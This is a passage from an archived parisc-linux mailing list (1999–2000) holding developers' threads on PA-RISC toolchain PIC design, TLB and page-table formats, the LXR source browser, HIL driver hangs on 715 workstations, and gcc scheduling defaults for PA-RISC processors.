all the other platforms I've encountered (i386, m68k, alpha).
(i.e. inter-module calls are handled by another set of stubs, and GP
management is done by the caller via the function descriptors, rather
than by the callee with GPDISP and similar relocations)

This will potentially make implementing ld.so more difficult, and thus
I'm not sure how desireable it is to follow the 64-bit example; we
will never have to actually link and load HP/UX ELF binaries with our
native toolchain and dynamic linker, even when we do have support for
64-bit userland.

On the other hand following the ELF64 example *will* allow us to reuse
code (though the ELF64 PIC implementation in BFD appears to be still
somewhat incomplete) in binutils, so it looks like kind of a
binutils/ld.so tradeoff.

Thus I am playing a bit with adapting the ELF64 code to produce a
preliminary PIC-generating toolchain.  I don't, however, want to get
too far into this before knowing (a) what other people are working on,
and (b) what the implementation is going to look like.

Thoughts?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] Qn on PA-RISC Page tables and TLB
Date: Wed, 24 Mar 1999 23:10:36 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990324225944.502B-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619011 1796 80.91.229.3 (22 Nov 2014 01:16:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:51 +0000 (UTC)
Cc: kumar@ix.netcom.com
To: hppa-linux@thepuffingroup.com
Original-X-From: kumar@ix.netcom.com  Thu Mar 25 02:09:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id CAA13580
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 02:09:54 -0500
Original-Received: (qmail 23254 invoked by uid 15267); 25 Mar 1999 07:08:49 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 23247 invoked from network); 25 Mar 1999 07:08:48 -0000
Original-Received: from dfw-ix5.ix.netcom.com (206.214.98.5)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 07:08:48 -0000
Original-Received: (from smap@localhost)
          by dfw-ix5.ix.netcom.com (8.8.4/8.8.4)
	  id BAA29858; Thu, 25 Mar 1999 01:09:23 -0600 (CST)
Original-Received: from unknown(207.92.173.93) by dfw-ix5.ix.netcom.com via smap (V1.3)
	id rma029832; Thu Mar 25 01:08:52 1999
Xref: news.gmane.org gmane.linux.ports.parisc:7583



PA-RISC Arch 1.1 book says:
On page 3-14:

	Exact form of these tables is s/w convention. 

Q.	If the format is software convention, does that mean
	the fields within TLB slots are not defined by Hardware ?
	Though  the book does seem to indicate what fields are needed
	in a pdir entry. Without knowing exact positions of various
	fields how would TLB entries be updated from pdir entries in
	memory ?

	Other interesting point to note is that PA-RISC does not
	define how many entries in the table etc. Very much unlike
	x86.

-pkd
	





From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <csnow@julian.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LXR tool ?
Date: Tue, 18 Jul 2000 14:36:53 -0400 (EDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0007181435020.16872-100000@panther.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619011 1798 80.91.229.3 (22 Nov 2014 01:16:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:51 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: csnow@julian.uwo.ca  Tue Jul 18 12:35:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA07469
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 12:35:21 -0600
Original-Received: (qmail 8934 invoked by uid 15267); 18 Jul 2000 18:37:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8903 invoked from network); 18 Jul 2000 18:37:02 -0000
Original-Received: from pony.its.uwo.ca (129.100.2.63)
  by mailserv2.iuinc.com with SMTP; 18 Jul 2000 18:37:02 -0000
Original-Received: from panther.uwo.ca (panther.uwo.ca [129.100.2.14])
	by pony.its.uwo.ca (8.10.0/8.10.0) with ESMTP id e6IIarD15226
	for <parisc-linux@thepuffingroup.com>; Tue, 18 Jul 2000 14:36:53 -0400 (EDT)
X-Sender: csnow@panther.uwo.ca
Xref: news.gmane.org gmane.linux.ports.parisc:7584


Is the LXR tool on the parisc webpage no longer being used/maintained?  It
doesn't seem to have the current source trees indexed... (specifically, I
was looking at linux-2.3/drivers/gsc - the last update in the LXR tree
view shows as Jan 12 2000).

thanks,

          Chris


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LXR tool ?
Date: Tue, 18 Jul 2000 13:52:23 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20000718135223.I3150@vodka.thepuffingroup.com>
References: <Pine.SOL.4.21.0007181435020.16872-100000@panther.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619011 1801 80.91.229.3 (22 Nov 2014 01:16:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:51 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Chris Snow <csnow@julian.uwo.ca>
Original-X-From: willy@thepuffingroup.com  Tue Jul 18 12:56:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA08102
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 12:56:04 -0600
Original-Received: (qmail 30865 invoked by uid 15267); 18 Jul 2000 18:57:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30849 invoked from network); 18 Jul 2000 18:57:45 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Jul 2000 18:57:45 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id NAA05620;
	Tue, 18 Jul 2000 13:52:23 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.SOL.4.21.0007181435020.16872-100000@panther.uwo.ca>; from Chris Snow on Tue, Jul 18, 2000 at 02:36:53PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7585

On Tue, Jul 18, 2000 at 02:36:53PM -0400, Chris Snow wrote:
> Is the LXR tool on the parisc webpage no longer being used/maintained?  It
> doesn't seem to have the current source trees indexed... (specifically, I
> was looking at linux-2.3/drivers/gsc - the last update in the LXR tree
> view shows as Jan 12 2000).

i've been told before that it doesn't work.  i never use it myself so
i don't really care all that much (what's wrong with find/grep?!) but
i did try to fix it and i can't find the problem.  anyone experienced
with lxr want to try to fix it?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LXR tool ?
Date: Tue, 18 Jul 2000 15:04:31 -0400
Organization: The Puffins at Linuxcare
Lines: 18
Approved: news@gmane.org
Message-ID: <3974AA3F.28B761C8@linuxcare.com>
References: <Pine.SOL.4.21.0007181435020.16872-100000@panther.uwo.ca> <20000718135223.I3150@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619012 1804 80.91.229.3 (22 Nov 2014 01:16:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:52 +0000 (UTC)
Cc: Chris Snow <csnow@julian.uwo.ca>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: adevries@linuxcare.com  Tue Jul 18 13:04:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA08461
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 13:04:22 -0600
Original-Received: (qmail 7312 invoked by uid 15267); 18 Jul 2000 19:06:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7284 invoked from network); 18 Jul 2000 19:06:01 -0000
Original-Received: from ottawa.linuxcare.com (HELO cubalibre.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Jul 2000 19:06:01 -0000
Original-Received: from linuxcare.com (IDENT:adevries@localhost [127.0.0.1])
	by cubalibre.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id PAA01344;
	Tue, 18 Jul 2000 15:04:31 -0400
Original-Sender: adevries@cubalibre.thepuffingroup.com
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7586

Matthew Wilcox wrote:
> 
> i've been told before that it doesn't work.  i never use it myself so
> i don't really care all that much (what's wrong with find/grep?!) but
> i did try to fix it and i can't find the problem.  anyone experienced
> with lxr want to try to fix it?

I've asked Tara Dear to take a look at it.

- Alex

-- 
Alex deVries, Director of Professional Services, The Puffins at
Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <csnow@julian.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL support on 715/old ?
Date: Tue, 18 Jul 2000 15:42:26 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0007181540510.16872-100000@panther.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619012 1808 80.91.229.3 (22 Nov 2014 01:16:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:52 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: csnow@julian.uwo.ca  Tue Jul 18 13:41:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA09424
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 13:41:02 -0600
Original-Received: (qmail 14661 invoked by uid 15267); 18 Jul 2000 19:42:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14633 invoked from network); 18 Jul 2000 19:42:40 -0000
Original-Received: from pony.its.uwo.ca (129.100.2.63)
  by mailserv2.iuinc.com with SMTP; 18 Jul 2000 19:42:40 -0000
Original-Received: from panther.uwo.ca (panther.uwo.ca [129.100.2.14])
	by pony.its.uwo.ca (8.10.0/8.10.0) with ESMTP id e6IJgQD14002
	for <parisc-linux@thepuffingroup.com>; Tue, 18 Jul 2000 15:42:26 -0400 (EDT)
X-Sender: csnow@panther.uwo.ca
Xref: news.gmane.org gmane.linux.ports.parisc:7587


Has anyone tested the HIL support on 715/old [33,50] ?  We are seeing
hangs here and I was wondering if that might be the problem ...

We'll try to narrow down the problem.  Any "it is broken" or "you are
dumb, it works fine!" messages are appreciated :)



          Chris


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL support on 715/old ?
Date: Tue, 18 Jul 2000 14:42:40 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20000718144240.L3150@vodka.thepuffingroup.com>
References: <Pine.SOL.4.21.0007181540510.16872-100000@panther.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619012 1810 80.91.229.3 (22 Nov 2014 01:16:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:52 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Chris Snow <csnow@julian.uwo.ca>
Original-X-From: willy@thepuffingroup.com  Tue Jul 18 13:46:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA09805
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 13:46:23 -0600
Original-Received: (qmail 20800 invoked by uid 15267); 18 Jul 2000 19:48:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20718 invoked from network); 18 Jul 2000 19:48:03 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Jul 2000 19:48:03 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id OAA05786;
	Tue, 18 Jul 2000 14:42:40 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.SOL.4.21.0007181540510.16872-100000@panther.uwo.ca>; from Chris Snow on Tue, Jul 18, 2000 at 03:42:26PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7588

On Tue, Jul 18, 2000 at 03:42:26PM -0400, Chris Snow wrote:
> 
> Has anyone tested the HIL support on 715/old [33,50] ?  We are seeing
> hangs here and I was wondering if that might be the problem ...

that was what i wrote it on originally (wrote is a little strong; it's
basically philb's hil driver from linux/m68k).  however, i haven't tested
it recently (eg since we moved to 2.3).

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Snow <csnow@julian.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL support on 715/old ?
Date: Tue, 18 Jul 2000 15:51:47 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0007181551160.16872-100000@panther.uwo.ca>
References: <20000718144240.L3150@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619013 1812 80.91.229.3 (22 Nov 2014 01:16:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: csnow@julian.uwo.ca  Tue Jul 18 13:50:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA10059
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 13:50:35 -0600
Original-Received: (qmail 25490 invoked by uid 15267); 18 Jul 2000 19:52:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25458 invoked from network); 18 Jul 2000 19:52:13 -0000
Original-Received: from pony.its.uwo.ca (129.100.2.63)
  by mailserv2.iuinc.com with SMTP; 18 Jul 2000 19:52:13 -0000
Original-Received: from panther.uwo.ca (panther.uwo.ca [129.100.2.14])
	by pony.its.uwo.ca (8.10.0/8.10.0) with ESMTP id e6IJplD18172;
	Tue, 18 Jul 2000 15:51:47 -0400 (EDT)
X-Sender: csnow@panther.uwo.ca
In-Reply-To: <20000718144240.L3150@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7589

On Tue, 18 Jul 2000, Matthew Wilcox wrote:

> On Tue, Jul 18, 2000 at 03:42:26PM -0400, Chris Snow wrote:
> > 
> > Has anyone tested the HIL support on 715/old [33,50] ?  We are seeing
> > hangs here and I was wondering if that might be the problem ...
> 
> that was what i wrote it on originally (wrote is a little strong; it's
> basically philb's hil driver from linux/m68k).  however, i haven't tested
> it recently (eg since we moved to 2.3).

alright, well I'll do some more testing on it.  Probably not until after
OLS though (ie: next week)...

          Chris


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] scheduling
Date: Tue, 18 Jul 2000 18:09:20 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20000718180920.Q3150@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619013 1814 80.91.229.3 (22 Nov 2014 01:16:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue Jul 18 17:13:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA12805
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 17:13:20 -0600
Original-Received: (qmail 25483 invoked by uid 15267); 18 Jul 2000 23:14:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25475 invoked from network); 18 Jul 2000 23:14:52 -0000
Original-Received: from ottawa.linuxcare.com (HELO vodka.thepuffingroup.com) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Jul 2000 23:14:52 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id SAA08743
	for parisc-linux@thepuffingroup.com; Tue, 18 Jul 2000 18:09:20 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7590


i can't seem to find any documentation on the HP website about scheduling
instructions for different processor models.  gcc currently defaults to
scheduling for the PA700 (presumably this is PCX?), and can be asked
to schedule for PA-7100, PA-7200 or PA-8000.  i'm guessing that 8200,
8500 and 8600 have slightly different scheduling requirements.

my main question is, what should we default it to?  does scheduling for
PA-8000 have a really bad effect on other CPU models?  or vice versa,
is scheduling for PA-700 a really bad choice for PA-8x00 CPUs?  i know
later PA models have all the fancy register renaming stuff in them so
it may not make much difference, but i'm curious.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jle@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scheduling
Date: Tue, 18 Jul 2000 17:01:02 -0700 (PDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.SOL.3.91.1000718165232.7727A@cse.cygnus.com>
References: <20000718180920.Q3150@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619013 1817 80.91.229.3 (22 Nov 2014 01:16:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: jle@cygnus.com  Tue Jul 18 17:59:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA13547
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 17:59:21 -0600
Original-Received: (qmail 2288 invoked by uid 15267); 19 Jul 2000 00:01:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2280 invoked from network); 19 Jul 2000 00:01:04 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 19 Jul 2000 00:01:04 -0000
Original-Received: from cse.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id RAA02282;
	Tue, 18 Jul 2000 17:01:02 -0700 (PDT)
Original-Received: (jle@localhost) by cse.cygnus.com (8.8.8+Sun/8.6.4) id RAA07815; Tue, 18 Jul 2000 17:01:02 -0700 (PDT)
In-Reply-To: <20000718180920.Q3150@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7591




On Tue, 18 Jul 2000, Matthew Wilcox wrote:

> 
> i can't seem to find any documentation on the HP website about scheduling
> instructions for different processor models.

  There are at least two processor model docs
  on the puffin site (PCXL and PCXL2, i.e. the 7100LC and 7300 I believe).
  These ERSs discuss pipelines, latencies, bundling rules, etc -- scheduling
  rules.

>  gcc currently defaults to
> scheduling for the PA700 (presumably this is PCX?), and can be asked
> to schedule for PA-7100, PA-7200 or PA-8000.

  PCXT = 7100
  PCXT' = 7200
  PCXU = 8000

> i'm guessing that 8200,
> 8500 and 8600 have slightly different scheduling requirements.
> 
  
  The 8200, 8500, and 8600 have the same basic core as the PA8000. Scheduling
  for the 8000 should be fine for 8x00.

> my main question is, what should we default it to?  does scheduling for
> PA-8000 have a really bad effect on other CPU models?  or vice versa,
> is scheduling for PA-700 a really bad choice for PA-8x00 CPUs?
>  i know
> later PA models have all the fancy register renaming stuff in them so
> it may not make much difference, but i'm curious.
> 

  While it would be cool to have a kernel specifically scheduled for
  each processor, its likely that one will just have to be chosen for 
  a 32-bit kernel.
  The PA8x000 are probably the least susceptible to other schedules
  because of its ROB. Scheduling for 7100 or 7200 might be a good choice
  (or whatever machine seems to be the most popular).

  Obviously, a 64-bit kernel (when it exists) would best be
  scheduled as PA8000.

  


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jle@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scheduling
Date: Tue, 18 Jul 2000 17:09:31 -0700 (PDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.SOL.3.91.1000718170539.7727B-100000@cse.cygnus.com>
References: <Pine.SOL.3.91.1000718165232.7727A@cse.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619014 1821 80.91.229.3 (22 Nov 2014 01:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:54 +0000 (UTC)
To: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
Original-X-From: jle@cygnus.com  Tue Jul 18 18:07:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA14074
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jul 2000 18:07:53 -0600
Original-Received: (qmail 8845 invoked by uid 15267); 19 Jul 2000 00:09:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8824 invoked from network); 19 Jul 2000 00:09:35 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 19 Jul 2000 00:09:35 -0000
Original-Received: from cse.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id RAA03130;
	Tue, 18 Jul 2000 17:09:32 -0700 (PDT)
Original-Received: (jle@localhost) by cse.cygnus.com (8.8.8+Sun/8.6.4) id RAA07857; Tue, 18 Jul 2000 17:09:31 -0700 (PDT)
In-Reply-To: <Pine.SOL.3.91.1000718165232.7727A@cse.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7592




On Tue, 18 Jul 2000, Jason Eckhardt wrote:

>   While it would be cool to have a kernel specifically scheduled for
>   each processor, its likely that one will just have to be chosen for 
>   a 32-bit kernel.
>   The PA8x000 are probably the least susceptible to other schedules
>   because of its ROB. Scheduling for 7100 or 7200 might be a good choice
>   (or whatever machine seems to be the most popular).
> 

  Its probably worth mentioning also that most of the other processor
  models are dual-issue with very similar bundling rules. The 7100, 
  for example can issue 3 combinations: int-fp, fp-int, fp-branch. The
  7200 is similar, but also adds an int-int (with some restrictions)
  bundle type. So whichever of the 7xxx schedules we choose likely 
  won't cause death on other 7x000 processors. Still, the most common
  processor might be the best choice.


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HIL support on 715/old ?
Date: Wed, 19 Jul 2000 03:39:52 -0700 (PDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <20000719103952.18203.qmail@web510.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619014 1822 80.91.229.3 (22 Nov 2014 01:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, Matthew Wilcox <matthew@wil.cx>
Original-X-From: ulrich_strelow@yahoo.com  Wed Jul 19 04:38:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA04974
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Jul 2000 04:38:41 -0600
Original-Received: (qmail 25171 invoked by uid 15267); 19 Jul 2000 10:40:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25160 invoked from network); 19 Jul 2000 10:40:24 -0000
Original-Received: from web510.mail.yahoo.com (216.115.104.225)
  by mailserv2.iuinc.com with SMTP; 19 Jul 2000 10:40:24 -0000
Original-Received: from [149.234.12.1] by web510.mail.yahoo.com; Wed, 19 Jul 2000 03:39:52 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7593

--- Matthew Wilcox <matthew@wil.cx> wrote:
> On Tue, Jul 18, 2000 at 03:42:26PM -0400, Chris Snow
> wrote:
> > 
> > Has anyone tested the HIL support on 715/old
> [33,50] ?  We are seeing
> > hangs here and I was wondering if that might be
> the problem ...
> 
> that was what i wrote it on originally (wrote is a
> little strong; it's
> basically philb's hil driver from linux/m68k). 
> however, i haven't tested
> it recently (eg since we moved to 2.3).
> 

As I wrote earlier to this list ( see
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/06-Jun/0018.html
) the linux-2.3-pre8 is not able to boot on a 715/old.
It hangs during the initialization of the ASP chip. So
I guess that HIL (which depends on ASP) is not working
right now either.

Tara Dear had a similiar problem on a 715/50. So I
suspect that this is not a problem related to my
715/33 or my build environment.

Ulrich

__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail  Free email you can access from anywhere!
http://mail.yahoo.com/


From - Thu Nov 08 21:12:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <helgaas@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Qn on PA-RISC Page tables and TLB
Date: Thu, 25 Mar 1999 09:59:01 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <199903251559.JAA07530@helgaaspc.rsn.hp.com>
